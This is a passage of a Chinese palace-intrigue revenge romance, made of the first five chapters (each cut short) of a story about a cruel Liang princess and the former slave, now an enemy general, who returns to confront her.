《折辱敌国将军后》 1. 治罪 《折辱敌国将军后》全本免费阅读 入冬之际,漫天风雪从墉都的长街刮至巍峨梁宫,撞在厚厚的宫墙上,发出几声沉吟。 正值正月十五,阖宫宫人上下忙碌,添炭加薪以保殿宇温暖如春。朝珠宫内,汉白玉砌成的宫道一路铺展,望不到尽头。 良久,“刺啦”的金石之声尖锐响起,锁链自玉阶上滑过,链条上拴着一双双伤痕累累的赤足,已被冻得青紫。 雪粒随风,划过他们的脸颊、衣袖,击在脚上铁链,无声坠了地。 又是送进宫的罪奴。 搬着炭火的宫人停下脚步,“咚”一声搁下竹筐,一边搓手一边对着那些奴隶小声议论着,嘴里哈出白气。 “听说是国公府上的门客和家丁。” “国公爷广纳天下文人墨客,门下之士个个知书达理,举止有度,如今这般瞧过去,倒真是传言不虚。” “这一个个的,都曾是国公府上锦衣玉食的郎君,有头有脸的士子,这么冷的天穿得如此单薄,还以罪奴之身进了这宫里,难熬呐……” “什么难熬?咱公主一向爱才,若能得了公主的青眼,说不定能在公主身边当个门客。若再是个迎奸卖俏的主儿,爬了公主的床,往后可就是数不尽的荣华富贵了……” 宫人围着炭火取暖,谈及皇家床帏之事,尤其是朝珠公主成婚前的那些风月传闻,言语间不免添油加醋。 朝珠公主容貌倾城,求娶者不计其数,以她为原型的书画、诗歌,还有才子佳人的话本在坊间广为盛传,也是宫人们津津乐道的话题。 宫人暧昧的笑声一阵接一阵,面前的铜缸底壁被炭火烧得通红,缸中坚冰一点点融化,水珠冷凝坠落,溅出“刺啦”声响。 罪奴们被押着进了一间殿室,地龙屏去寒冬凛冽,抬目望去,明珠镶柱,盈满华光,极尽奢华。 已至正月,殿内却莲香扑鼻,突如其来的暖意将每一个来人包裹,麻木的皮肤渐渐有了温度,连脑子也跟着迷糊起来。 黑貂皮制成的暖帐将四壁遮覆,几缕稀薄日光透过纱罗洒进殿室,洒在面前女子脸上。 这是个极美丽的女子。 博山炉中的香雾袅袅绕出一段风情,水墨般洇染出她的轮廓,她柔弱无力斜倚在美人榻上,以手撑头,颜如渥丹,雍容华贵,明艳不可方物,绯色牡丹花罗镶花边华衣,红玛瑙吊坠垂于额前,不及她红唇盈盈欲滴。 身边几个宫女在给她揉着肩和手臂,罪奴们不敢多看,深深低下了头,盯着自己满是冻疮的脚尖。 “参见朝珠公主。”总管朝那女子躬身行礼,讨好一笑,咧出一口白牙,“公主殿下,皇后娘娘说了,殿下好雅趣,这些戴罪士子就先由公主挑选作下人,权当放在身边消遣,若是不合心意,便入宫做内侍。” 榻上女子盈盈起身,细微的动作带动身上环佩叮咛,她点了下头,眉眼间还带着慵懒,“母后果然心疼我,替我多谢母后好意。我明日一早就和驸马去坤宁宫请安。” 玉手扶了扶乌鬓间的累丝金嵌玉簪,金光明晃晃刺入地上跪着的五人眼中,映着他们煞白的脸色。 内侍,便是进净身房挨那一刀,从此过着人不人鬼不鬼的日子。 这对每一个士子来说都是天大的侮辱。 周漪月抬目淡扫,视线在那七人之间逡巡,将他们脸上的惶恐、惊惧尽数收入眼中。 是打量,审视,亦是挑选。 “听说,国公府上有一门客名唤解扬,才气高绝,京城人称碧鹤公子,就在你们其中,不知——是哪一位?” 众人一下子睁大双目,争先恐后站出,都称自己是解扬,将解扬所写文章、所画丹青、生平经历,包括何时中举以及何时拜入国公爷门下,如数家珍般道出。 周漪月笑着,眸里的情绪让人分辨不出,像是看着一群上蹿下跳的猴儿。 她转向始终沉默不语的那个人:“这位公子为何闭口不言?可是不想服侍本公主?” 那人面色憔悴,却掩不住一张儒雅白净的脸,他没有看她,虚虚行了一礼:“罪人之身,唯以清白自守。” “好一个端方君子。” 周漪月眼瞳亮了一瞬,抿出一抹嫣笑,对秦总管道:“此人我留下了,其余的,总管大人带回去吧。” 秦总管连连点头,吩咐左右宫人将罪奴们押解出去。 有一人愤恨看着那解扬,“啪”地挣脱宫人们的钳制冲到公主跟前:“在下不服!公主为何不信我等之言,偏信这无礼书生!此人并非解扬,我等皆可证明,公主切勿听信此人花言巧语!” 他歇斯底里地嘶吼着,将公主桌前碗盏一袖扫落在地,碎裂声震耳欲聋。 秦总管一脚踢在那人身上,“放肆!吃了熊心豹子胆了,竟敢在公主面前撒野!你们几个是死人吗,还不把他拖下去!” 那个罪奴痛苦蜷缩在地上,被粗暴架出了门,周漪月看着地上的一片狼藉,撩了撩鬓边几缕碎发,懒洋洋对身旁嬷嬷道:“收拾干净,将解公子带下去好生安置。方才那几位公子,记得嘱咐秦总管好生照顾,切不可苛待。” 年轻的宫女们都有些不解,询问的目光投向掌事嬷嬷。 罪奴们入殿前,公主对这位碧鹤公子甚是感兴趣,看那架势,是要将此人随身带在身边出入宫宴,可听公主这般吩咐,又像是没将此人放在心上。 而且,公主被人无礼质问,还要嘱咐总管大人好生照顾他们,实在叫人费解。 尤其那人打碎的,还是苏州进贡的八棱细花黄锡壶,公主非常珍爱,是唯一用了三年以上的茶具。 掌事嬷嬷似是懂了周漪月的意思,躬身称喏,将人带了下去。 几人前脚刚走,一宫女掀帘入殿:“公主,驸马爷从太和殿回来了,已至东胜门。” 周漪月脸上有了喜色,在宫女的搀扶下,起身朝殿外走去。 不远处传来几声嘹亮马嘶,远远望去,宫门处那边一个身穿莲青斗纹锦鹤氅的男子迈步走进。 朝珠公主的驸马,当朝太仆寺少卿,闻祁。 他比周漪月年长许多,赤金绦带勾勒出挺拔腰身,儒雅清贵,硬朗坚毅,单单站在那里,便有一种沉稳成熟的疏阔气。 寒风凌冽,他身上却一丝不苟,见公主站在廊檐下,身上锦裘只有单层,上前握住她的手,果然满是凉意。 他将衣袖下拢着的汤婆子递给她,“天冷,别在外面站太久,进去说话。” 手上温度传来,周漪月闻到他身上好闻的乌木沉香。 他扶着她入殿,余光瞥到宫人们带走一个罪奴打扮的男子,几不可闻轻笑,“公主又找到了可以打发时间的事。” 周漪月点头,朝他抿唇浅笑,算是应他的话。 宫女们已将屋内收拾干净,换上了新的茶具,壶嘴冒着热气。 闻祁掀袍坐下,对周漪月道:“近来朝中诸事繁多,陛下于太和殿数次召见我等臣子商议国事,边疆不宁,晋国又在这时派使者入梁,绝非儿戏。公主玩乐可以,切勿惹上不该惹的人。” 他没有问那人是谁,为什么会出现在这里,只是提醒周漪月不要玩得太过火,免得惹出麻烦。 周漪月脑海中恍惚闪过一张昳丽阴寒的脸,还有一群匍匐在她脚下,血肉模糊的人。 那时也有人对她说:“公主不该招惹这群人,一 2. 故地 《折辱敌国将军后》全本免费阅读 齐嬷嬷探了探鼻息,吩咐他们将人抬走,就回殿内复命了。 “公主,人已处置。” 面前的华衣女子背对于她,许是还在生驸马的气,对齐嬷嬷的话没什么反应,拿起桌上一颗冰糖果扔进嘴里,恶狠狠嚼了两下。 入口的果子有些酸,周漪月拧了下秀眉。 齐嬷嬷语气平静,不带丝毫温度:“此人打碎公主茶盏,罪该万死。虽说是罪奴,死了也没什么,但平白无故少了一个人,怕是会引起别人怀疑。” “是吗?”周漪月起身走到窗前,长睫投下一片翳影,拿起金剪对着面前价值不菲的波斯琉璃瓶。 过于美丽的脸庞因为冷淡,像是在睥睨蝼蚁。 “那就对外宣称……是半路逃走了罢,再找个不起眼的太监,最好是那种死了都没人知道的来顶罪。秦总管知道分寸,交给他去办吧。” “是,奴婢这就去。” 她正要走,周漪月忽而想起什么,抬手道:“不,我改变主意了,让永安宫的人顶罪。” “昨个儿我去见了母后,见她脸色不好,一副怏怏的不想说话的样子,我向芳嬷嬷打听,说是梁贵妃这几日头疾又犯了,父皇为了她,初二那日竟不在坤宁宫,跑到永安宫去了。” 齐嬷嬷颔首,按礼制,腊月三十、正月初一、初二这三日,皇帝只能陪在皇后身边,梁帝此举的确闻所未闻。 公主这是心里气不过,想给昭宁宫那位主儿找点麻烦。 “母后还真是好性子,明明每日都在巴望着那个病秧子咽气,却能忍受她到这种程度。我就不明白了,母后贵为国母,虽说太子早夭膝下无儿,可好歹养有公主成年,母家清河窦氏更是百年望族,怎会在那个梁氏面前矮了一头?” 周漪月居高临下看着伸出瓶外的那一枝梅花,觉得甚是碍眼,“咔嚓”将其剪掉。 齐嬷嬷随口应道:“皇后娘娘一向仁慈,待人宽厚,若与妃嫔争宠,便是掉了身份。” “仁慈?迂腐圣人哄小孩的东西罢了,心不狠,如何在这个皇宫活下去?更别提什么身份了。若不是我和秦总管替母后撑着,她早就被永安宫的人吃得渣都不剩。” “那个女人,还有她生的儿子女儿,哪一个不是对我们虎视眈眈,巴不得取而代之?” 齐嬷嬷看着面前金枝玉叶的公主,每次提起皇后娘娘她都是这副恨铁不成钢的样子。 心中不免生出一丝怜惜。 她从小照顾周漪月长大,眼瞧着公主从一个不谙世事的小公主,变得工于算计,十几岁便开始替皇后打点后宫诸事,收买人心,让内务府死心塌地效忠坤宁宫。 “公主,皇后娘娘膝下无子,而梁贵妃生有两男一女,太子殿下、九皇子殿下和嘉阳公主殿下,贵妃娘娘又会讨陛下欢心,皇后娘娘难免觉得心里不痛快。” 周漪月拈起一枝花,“恩宠是要自己争取的,难道要我拉着父皇去见她吗?我若是母后,别人的儿子,便是我的儿子——” 话停在半截,周漪月噤了声,搁下手里剪刀,笑吟吟道:“齐嬷嬷,方才我说的话,你可听到了?” 齐嬷嬷垂下眼帘,她何尝听不出公主言语间的杀意,久居深宫多年,她深知什么该说什么不该说,“公主只是在与奴婢闲聊,老奴没听到其他的。” 周漪月满意点头,又问:“那位解公子可安置好了?” “是,秦总管已将其安排在御马苑内。” 御马苑归太仆寺管辖,离皇宫不过半日脚程,秦忠的安排还算妥当。 周漪月抿唇一笑,白玉似的手绕着琉璃瓶里的花枝,在花蕊上打圈儿:“只怕他心有不甘吧?名满京城的风雅公子,如今却要给人牵马执凳当马夫。” “找人看着他,在本公主对他失去兴趣前,不准他生事。” 齐嬷嬷躬身应诺。 自打公主与驸马成亲,她已经很久没有这样的好兴致了。 从前她还是三公主时,便喜欢和那些罪奴们玩乐。她取乐的方式很特别,喜欢将那些人伤害得体无完肤,看着他们自折坚骨,流去一身傲血,为了活下来而互相厮杀,再死心塌地渴求她的垂怜。 公主是个不安分的主儿,从小便懂得何为弱肉强食,在梁帝的教导下学会了弯弓射箭,也学会了将箭头对准活人。 耳濡目染,她也开始说一些奇怪的话,说梁人祖先与猛兽为伍,以风沙为伴,驯服烈兽,是他们骨子里流着的血,不该被中原的旖旎风光迷了心神,没出息。 她还说,若她不解救那些罪奴,他们便会悄无声息死在皇宫某处角落,草席一裹扔进乱葬岗,成为野狗的食物和蛆虫的温床。 公主大概是有一套自己的道理,做奴才的,公主开心,她便也跟着开心。 “其实嬷嬷知道,那位解公子不是最好的。” 周漪月冷不丁来了这么一句,齐嬷嬷心下猛打了个激灵。 她知道公主又想起那个人了,这些年,那个少年就像梦魇一般,在公主心里挥之不去。 那是公主最喜欢的罪奴,唯一一个从尸山血海中爬出的胜者,从野兽群中厮杀出来的疯子。 公主曾说,“折君子骨易,折野兽骨难”,说的,大概就是那个人。 齐嬷嬷第一次见到那个少年时,他鹰隼般的眼神那般望过来,划破满室沉寂,仿佛能啄下人的眼睛,将人的血肉片片剐去。她拼命按捺下心头狂跳,不安看了一眼身旁的朝珠公主,见她眼中一点点亮起兴奋的暗芒。 当日,公主将那个少年收为己有,赐他奴名“阿弃”,亲手将锁链戴在他脖子上,用刻刀在他脸上刺下自己的名字。 再后来,那个少年死了,死在了公主面前。数个风雨交接的夜,公主从噩梦中惊醒,死死攥紧她的袖子,手脚冰凉,眼下带着未干的泪痕。 “嬷嬷,我又梦见他了……血,好多的血——他来找我了!就站在我床前,像真的一样!” “公主别怕,别怕,罪奴阿弃早已不在世上,老奴亲眼看着他咽下最后一口气的。” 周漪月一遍又一遍地确认,齐嬷嬷就一遍遍地哄着,直到公主闭上眼睡去。她小心替她将被褥掖好,点上一支安神香,方叹息着走出寝殿。 阿弃死后,公主身边再无一罪奴。那位碧鹤公子虽说也是心志坚毅,但在公主眼里,聊胜于无罢了。 君子骨,到底是下品。 周漪月道:“嬷嬷,我有时觉得很奇怪,过去的事我似乎忘了很多,连那个罪奴长什么样都不记得了。” 齐嬷嬷没说话,鎏金博山炉飘出一缕香雾,遮住了她的眉眼,让人看不清她的神情。 雪渐渐小了。 周漪月透过雕花窗望着灰蒙蒙的天,双目放空,不知道自己在看什么。一直到,大梁宫中钟鼓齐鸣,乐声悠扬传至皇宫内外,将她从思绪中拽出。 “御花园那边在做什么?” “公主忘了,今日元宵佳节,宫中为太后放生鸟雀祈福。” 说罢又加了一句:“这是驸马给公主出的主意,驸马为了修复殿下和太后娘娘的关系,可谓煞费苦心,其中那只五彩羽雀,还是驸马花重金差人寻来的。” “驸马惯会管闲事,他明知道我不喜欢太后那个老虔婆。” 老虔婆,也只有朝珠公主敢这般称呼太后,齐嬷嬷垂目道:“驸马也是为了公主着想。” 周漪月没做声 3. 觊觎 《折辱敌国将军后》全本免费阅读 手上一点点收紧,魏溱任由温热的腥血从他指缝间流出,轻勾唇线,明明是在笑,却像带着杀意。 “司郎将,你可知这里是何处?” 司枫不明所以,小心回话:“少将,前面是大梁朝珠公主的宫殿。” “原来如此,看来是朝珠公主之物,那我们便去还给她罢。” 他大步朝宫门走去,黑靴还未踏上白玉阶,却见一行人浩浩荡荡从东处走来,几个宫人抬着一红衣男子进了殿内。 轿上男子身穿赤红方心曲领朝服,头戴金冠,身边还牵着一个女娃。将将迈进宫门,几个宫女着急围了上来,“驸马爷,公主又在摔东西闹脾气了,您快进去劝劝吧!” 司枫远远扫了一眼:“朝珠公主的驸马?按理说他这个时候应该在军机处,怎会如此早就下了朝。” 他只是随口一说,谁知,面前男子顿住脚步,缓缓转向他:“你说,他是谁?” 魏溱冷着脸,满面狠厉的模样让司枫吓得大骇,虚汗顺着脸就滑了下来。 “是……是隐约听宫里人说的,他们说、说……” “说什么?” “说当朝太仆寺闻大人,是朝珠公主的驸马爷……少将,我们前几日在太和殿刚与此人打过照面,后来末将是听梁宫宫人闲聊,才知道此事……” 魏溱冷笑一声,脸上霎时腾盛起暴怒,抬脚就往朝珠宫直冲而去。司枫见魏溱一副要杀人的神情,心里大呼不妙,赶忙冲上前讨好一笑:“少将息怒少将息怒,我等代表大晋出使梁国,若这般贸然闯宫,势必引起晋梁两国纷争,于少将不利啊。” 男子下颌绷紧,停在了距宫门一丈远的地方。 从这个角度望过去,只见那红衣男子蹲下身,对身边的小女孩不知说了什么,女孩笑着跑进周漪月怀里,让她原本满含嗔怒的娇靥展开笑颜。 红衣男子走上前,温柔将她揽进怀里,宽大的袖袍轻轻松松便将女子纤细的身躯包裹,女子脸似乎红了一瞬,头缓缓靠在他肩上。 满园梅花中,两人清一色艳丽的红,儒雅君子,明艳美人,还有粉雕玉琢的女娃,三人立于庭前,宛如幸福的一家子。 多么美好的画面。 女子人畜无害的样子,与记忆中的那个挥着铁鞭,因为兴奋而面目狰狞的少女大相径庭。 来梁夏国的路上他曾设想过无数次,见到他时她会是什么表情,是否如他无数次梦到的那样,艳丽的眼眸一点点破碎,流出惊恐的泪水。 呵。 他看向手中那只鸟的尸体,心想着,早晚她会那样对着自己哭,哭到把眼泪流尽,再哭出血。 血泪配上她那姣好的容颜,一定美丽极了。 想到那副画面,捕杀猎物的快感传遍全身,魏溱心中郁气消了一半,漫不经心问道:“朝珠公主,可有孩子?” 低沉的声音让司枫如蒙大赦,脑子飞速搜索自己得到的情报:“这、这……回少将,应该、应该是没有的……末将也不清楚,需要在宫里打听一番才知。” 他目光阴冷,嘴角勾起一抹怪异的笑,抚平他衣领上的褶皱:“我记得,咱们这次带了不少高手,扮做寻常使臣混入梁宫。宫中禁军森严,找几个身手好的盯着朝珠宫,我要知道这里的一举一动。” 司枫被那笑盯得浑身发麻,身体打了个觳觫,“是是是,少将放心,末将这就去办!” 说罢便亦步亦趋跟在魏溱身后,不敢再抬头看他。 一路吹着寒风,司枫脑子清醒了不少,反复回想他方才的话,总觉得哪里不对劲,仔细琢磨后,似乎明白了什么。 来梁国前他就听传闻说,朝珠公主容貌倾城,有大梁第一美人之称,想来是自家将军也是动了心思,想将其纳为己有。 果然,食色性也,即便是小魏将军这样的枭雄也不能免俗。司枫笃定自己猜得没错,快步走上前朝魏溱讨好笑道:“其实少将大可不必如此动怒,陛下早有灭梁之心,若少将能亲自带军将梁夏国一举歼灭,别说一个朝珠公主了,这梁宫所有的女人不都是少将的嘛。” 魏溱顿住了脚步,转头,眉梢微挑,“你说,灭了梁夏国,她就归我所有了么?” “自然,自然!这公主再嫁再平常不过了,一女侍三夫,先嫁父后嫁子的多了去了,何况英雄才配美人呐,将军您气宇轩昂,喝令雄兵,比那阉鸡似闻少卿不知好上多少倍……” 司枫这话倒也不全是奉承,魏溱虽说性情暴戾,平常世家小姐见了定要吓得退避三舍,可他肩阔身长,五官刀刻般俊美昳丽,远远看上去利落狂放,整个人散发着睥睨天下的王者气息。 这般丰神俊朗的相貌,连他们这帮粗人见了都啧啧称奇,更别说女子了。 司枫一路点头哈腰说着奉承话,面前男人始终不为所动,没有认可他也没有制止。 司枫擦了擦额头汗水,鬼使神差地,心里生出一个大胆的想法。 若是能给自家少将暗中安排一番,让他尝一尝那公主殿下的滋味,保不齐他一个高兴,就把自己提升成副将了。 他为自己的想法兴奋不已,眼珠转个不停。 此事不难办,只要安排得妥当一些,找一个没人注意的时候,让朝珠公主消失一两个时辰再原封不动送回去,便能神不知鬼不觉…… 风声渐成颓势,这厢朝珠宫内,周漪月转头往宫门方向看去,闻祁问她:“怎么了?” “没什么。”周漪月摇头,心里说不上来的感觉。 方才那么一瞬间她脊背生凉,像是被毒蛇一类的盯上。 周漪月清了清神,许是那几个太监说没有找到五彩雀鸟,让她心下有些不安,可转念想想,那箭上又没有刻自己的姓名,谁会仅凭一支箭就认定是她做的呢? 这么想着,周漪月心里稍稍松了口气,对闻祁道:“怎么这么早就回来了,还把绾乔带过来?” 闻祁与她解释:“杨都尉家中有急事入不了宫,军政上的事只能明日再议,我回来时候正好碰见侯爷带家眷入宫请安,想着你好久没见绾乔了,便带着她一起过来。” 绾乔拉着周漪月的手,对她耳语道:“月姐姐,其实是姐夫说姐姐今日不高兴,叫我过来陪姐姐说话,说姐姐一见到绾乔准就高兴了。” 女孩仰着一张圆乎乎的小脸,黏黏糊糊拉着她,一笑起来两个酒靥儿。 4. 魅香 《折辱敌国将军后》全本免费阅读 京城墉都喧嚣了一整日,到了辰时,繁华的长街却似被洗劫般空无一人。 华灯初上,人们不约而同挤在宫门前,抢占前排位置,等待朝珠公主鸾仪仗出行。 只见那公子王孙脸上泛着醺红,被纤腰罗裙的佳人搀扶着,醉眼朦胧望着宫门方向,商户们伸长了脖子看公主今年的衣饰上有无自家的花样,贵女们更是双手合十,嘴里祈祷自己今晚能抢到公主抛出的绢花,讨个好彩头,像朝珠公主那般觅得佳婿。 人群中不知谁喊了一声:“来了,来了!” 宫门徐徐打开,两排禁军开道,禁军之后,翟车辚辚向前,黑漆华盖,金玉锻制的凤鸟立于盖上,香囊璎珞顺着车脊垂落,散发馥郁香气。 车行数丈之后,缓缓停住,一只佩戴宝石链的纤细玉手持扇挑起帷帘,紧接着,一华衣女子从车中探出身子。玲珑簇罗头面,绯色底孔雀羽服,披着黛色鹤氅,绛唇轻展,满城华灯黯然失色。 不少人是第一次得见公主容颜,一时惊为天人,呆滞在原地,恨不得将眼珠子蹬出来,还有的揉了揉眼睛,似乎不敢相信自己身在凡间。 却见那朝珠公主目光对上人群中衣衫褴褛的孩子,缓步下了车,分给他们一些银子和食物。 人群中又是一阵骚动,饶是见惯了莺莺燕燕的风流才子也是心头狂跳,眼巴巴看着她转身进了车,怅惘不已。 “这驸马爷何许人也?竟能摘得如此佳人芳心。” 旁边人见他一身晋人打扮,撇撇嘴回他道:“仁兄一看就是头一次入京,朝珠公主才气高绝,心思不同与寻常女子,在招婿上可谓是前无古人啊!” 此事墉都城无人不知,朝珠公主及笄礼那日,有五国国君同时求娶她,以数十城池作为嫁妆,欲采撷这颗大梁明珠。国土城池,黎民苍生,全都成了他们追逐美色的筹码。 按理说,公主的婚事该由帝后做主,要么远嫁国君,要么笼络下臣,可公主受宠,梁帝竟破天荒允许公主自己择婿。 当时朝会上,那五人谁也不肯让步,眼看局势一发不可收拾,朝珠公主便当场提笔写下一句诗,说谁能实现她的心愿,她便嫁给谁。 那句诗是:“锦绣成楼高百尺,玉人挽弓射月兔。” 也就是说,她要一座将锦绣扎成的楼殿,楼要有百尺之高,能承担一个女子的重量,让她立在上面射下月亮。 如此荒谬之事简直闻所未闻,几个国君俱是傻了眼,尝试许久,纷纷败下阵来。 美人难免有非同常人的心思,所有人都以为公主是不想嫁人才想出这般难题,直到——真的有人将诗中题解出。 此人便是的当时的新科探花郎闻祁,他亲手建造一座猎月楼,完美满足了这句诗所有要求。 “哦?此人是如何解题的,仁兄快说来听听!” “说了你都不敢相信,跟着我们一同去看看就知道了!” 众人一窝蜂跟了过去,路另一侧高楼上,魏溱凭栏而望,将眼前公主出行之盛景收入眼帘。 楼阁内纱幔轻扬,婉转的唱曲儿声流水般潺潺而出。 此处乃京城教坊司,专为官员所设以供宴乐,一般商贾难以踏足,能进来这里的都是朝廷上有头有脸的人物。 厢房内,桌席上的金杯银碗盛着各色珍馐美馔,几个云鬓叠翠的美姬脸上贴着飞金花面儿,频频倾酒。 席上众人有的身穿团花背子锦服,有的身穿朱领降纱袍,腰悬镀银带或是金革带,手持酒盏互相寒暄着。不知谁注意到连廊那边的魏溱,朝他喊道:“魏将军,今日你我两国臣子欢聚,怎可躲在一旁独善其身,快自罚三杯!” 魏溱阔步走回席间落座,取三杯酒一一饮尽,众人连称好酒量。 主座上的是鸿胪寺卿左知熠,面上染着酡红,朝魏溱笑道:“魏将军定是嫌这几位歌伎唱的不好,这才躲到一旁清净去了。” 左知熠身旁坐的是晋国尚书令崔涯,大晋使者团使节,开口帮魏溱打了打圆场:“元宵佳节,魏将军是被墉都的旖旎风光迷了眼,这才流连不返了。” 几人又是一阵说笑,左知熠把教坊司主丞喊了过来,“这几位都是晋国的贵客,不可怠慢,听说坊内最近新来几个乐伎,乃江南美人翘楚,还不快叫出来好生招待几位大人。” 主丞应诺,躬身下去安排了,魏溱道:“方才魏某并非不胜酒力,而是见长街上公主仪驾出行,便多看了几眼。” “是朝珠公主的仪仗队吧。”席上有人接了一句,是个面阔广额的男子,对身旁同僚道:“咱这位公主殿下一天一个花样,惯会折腾人的,每次祭礼宫宴都是一堆的吩咐。” “是啊,去年搞什么牡丹盛会,要我们搜罗天下牡丹品种,等我们好不容易把牡丹从洛安城移栽过来,得,又改了主意,跟宫中女眷将那些名贵牡丹拔了个精光,裹上面糊炸成了什么花瓣酥!你说这叫什么事儿啊!” 在座的大多是礼部和鸿胪寺的官员,专管宫廷仪节之事,对于这位难伺候的主儿,嘴里自然是倒不尽的苦水。 “皇后娘娘不怎么管事就罢了,陛下竟也由着她胡闹。” “谁让人是金枝玉叶,唯一的嫡公主,自小被宠惯了,今天要绿凤髓,明天要东海夜明珠,陛下都差人快马加鞭给她找来。这不,就是要天上的月亮也有人满足她,猎月楼,猎月楼……倒真是要风得风要雨得雨了。” “身为大梁公主不履行和亲义务就罢了,整日和驸马在京城出风头。若天下女子都学她这般,江山社稷还不乱了套了!我看呐,早晚要出大事!” 几人一递一回地说着,有人义愤填膺有人不屑一顾,还有人只当玩笑话听。 魏溱全程不置一词,偶尔挑了挑长眉勾起唇角,不知是觉得有趣还是觉得这帮官员大惊小怪。 听到猎月楼三字,他开口询问:“方才听贵国人说,公主有一猎月楼,乃锦绣制成,能承一人之重,还能站在上面摘月亮。” 梁国官员答他:“不过是哄小儿的戏言,驸马的解法虽说能自圆其说,但也多少带了牵强附会之嫌,将军若是好奇,哪天得了空去看一眼便知。” 魏溱笑而不语,举盏与之对饮。 不多时,一个手抱琵琶的蓝衫女子羞羞答答进来,吊着蜜嗓道了个万福:“见过几位大人。” 左知熠随手翻了翻曲谱,点了首《破阵子》,乐伎素手轻弹,金戈铁马之音从琵琶下流出。 一曲毕,众人连道“好曲,好曲”,目光却牢牢盯着女子轻薄的衣衫,还有衣衫下隐隐约约的一段玉腿,眼神开始迷离。乐伎们十分有眼色地凑上前,为各位大人倒酒。 左知熠对为首那蓝衫乐伎道:“不愧是国公府出来的人,曲儿弹得好,人也生得伶俐——赏!” 众人这才知道这些女子是国公府上的乐伎,又开始聊起前不久国公府那桩案子,魏溱对他们梁夏的朝政并不在意,跟崔尚书谈了些政事。 崔涯道:“将军,梁夏这边的意思,是希望我们晚些回大晋,届时一同出席三月春猎。” 魏溱思忖片刻,“春猎一向只有皇室才能参加,梁帝此举,无非是想震 5. 跌落 《折辱敌国将军后》全本免费阅读 人群一窝蜂跟着车队往前走着,周漪月拉下帘子,收回目光。 闻祁拿了条织金褥盖在她腿上,淡笑着看向她:“公主可还满意?为夫可是早知道你心思,前几日就着手打点此事。” “自然满意,即便是父皇出行我也没见过这等架势,驸马从不会让我失望。”周漪月持羽扇掩唇一笑,露出一双勾人摄魄的凤眼。 她此时才知,闻祁前几日总不在宫里待着,原来是在宫外忙着给她的出行造势。 闻祁道:“只要舍得花银子下功夫,没有什么事做不成。这段时日各国使臣入京,我委托了不少京城名士、画师和说书客,在茶楼酒肆传播公主芳名,用不了多久,为夫与公主的猎月楼将成为墉都十景之首。” “公主,可还生为夫的气?” 周漪月粲然一笑,“驸马给我如此大的惊喜,有夫如此,妻复何求啊?” 闻祁不是京城最好的公子,她一直都知道。 京城不少王公贵族和世家公子都曾多方走动,试探父皇如何安排她的婚事。周漪月迟迟未嫁,觉得那些浮夸公子都入不了她的眼,也实在厌烦了那些人的花言巧语。 与闻祁初遇的宫宴上,她知道母后今日又想给她相夫,便撑着头,百无聊赖看着那些公子哥,提不起一点兴致。 只有闻祁始终保持着君子端方,不曾靠近她一步,原以为此人跟那帮御史一样是个无趣的,谁知宫宴快要结束时,闻祁却对她说:“臣不通文墨,不擅吟诗作对,但臣会让殿下成为大梁第一贵女,九国第一公主。” 周漪月便缓缓抬起头,看向这个儒雅的探花郎,四目相对之时,她知道,就是他了。 仪仗队一路向前,百姓纷纷跟着向前拥挤,女子们精心梳理的鬓发被挤得变了形。待人群走过,地上狼藉一片,到处散落着女子发簪上的珠子,还有香囊手绢等物。 车队一路至会仙楼,此处是观湖的最佳场所,凭栏望去,湖上莲灯华光流彩,画舫兰舟竞相吆喝。 闻祁牵着周漪月下马,两人顺着木梯步上会仙楼,湖上清风徐徐吹来,吹动檐下红绸。楼中柱子上挂着不少红签,皆是用来求平安求姻缘的。 往湖中央看去,一水中绣楼在光影下若隐若现,当年,闻祁将锦绣铺展在水面上,巧构成楼台的样子,上面搭有浮台,解开了朝珠公主的谜题。 楼是水中楼,月是水中月,这座水中绣楼后来便取名猎月楼。 原本依照闻祁的家世,是没有资格娶嫡公主的,但因为这座猎月楼,两人顺利成婚,猎月楼也成了京城人的美谈。 此时有不少百姓在注视他们,闻祁看着身侧的周漪月,伸出手将一锦盒递到她眼前。 “这是?” “打开看看。” 周漪月打开盒子,是一支袖珍灯笼球儿式样的发簪,用同心花结系挂在了金簪上,模样精巧新奇,不似宫中样式。 “我见民间女子元宵佳节多将灯球挑在钗上,别的姑娘家有的,我家公主自然要有。” 周漪月细细端详这支发簪,越发爱不释手,闻祁亲手插在她发髻上,道了句:“公主姿容绝世。” 他目光柔柔笼罩下来,周漪月摸了摸发上簪子,含羞一笑,紧接着便听到楼外那帮百姓艳羡的声音。 只要在外人面前,他们如同神仙眷侣一般。 远处传来悠扬丝竹声,闻祁道:“今夜湖上有烟花盛会,从这里看是最好的。” 周漪月颔首,往湖那边眺望,玉手搭上栏杆。 “咔!” 不过瞬息间,栏杆咔嚓一声断裂,周漪月身子失了力,脚下一个重心不稳朝外跌去—— “公主!” 人群一阵惊呼,闻祁几乎瞬间冲上前,手却没有抓到她,眼睁睁看着她坠入湖面。 巨大的水花声传来,周漪月身上厚重的华服成了枷锁,拖着她直直往下沉。 “公主落水了!” “快救人!” 禁军挽袖解带扑通扑通跳入水中,朝朝珠公主落水处游去。 闻祁急得没了丝毫文雅,冲下楼就要自己跳下水,身边随从赶紧拦住他:“驸马您不能下去啊,这湖中多漩涡暗流,又是寒冬腊月,万一您再有什么闪失,我等万死莫辞啊!” 闻祁看着深不见底的湖面,收回了迈出去的脚步,厉声大喝:“公主不容有失,你们速去京兆尹衙门和巡防营,找懂水性的人来,一定要把公主找到!” “是!” 湖边人影幢幢,众人手持火把奔走,一时呼声震天。 此时西岸一处,魏溱抱着周漪月从水中钻出,冷水顺着衣摆一路滴在路上。 魏溱将周漪月抱上停靠在岸边的一只小船,一只手抱着她,一只手拨开遮帘,大步踏了进去。 他抱她的动作甚是熟练,非常熟悉她的身形曲线和托力点,仿佛已经抱过了无数次。 帘子挡住了外面的寒风,魏溱将其她放在甲板上,视线俯视下来,端看她那张熟悉又陌生的面容。 眸底翻涌着森寒的光,似乎能洞穿她的一切伪装。 面前女子静静躺在那里,衣衫尽湿,人已经失温到昏迷。月光给她的面容镀上一层清辉,面颊苍白无血,脸上、发髻上、长睫上沾满水珠,仿佛触之即碎。 这个样子看上去,倒十分乖顺。 他薄唇嚅动,失声了半响,道了句:“阿月?” 意识到自己在喊什么,魏溱神情变幻莫测起来。 他伸出手,指尖顺着她的眉骨一点点往下划,努力忽略她那张脆弱惨白的脸,回想她是怎么用这张脸欺骗自己,又是怎么扬起明媚的笑,唇瓣中吐出刀刺一般的话。 那时,也是这样的元宵佳节,他小心翼翼给她献上亲手做的灯笼,换来的却是她的满脸诧异。 “阿弃,元夕是要和相爱的人一起过的,你怎么配和我同游灯会?你怎么能……喜欢我呢?” 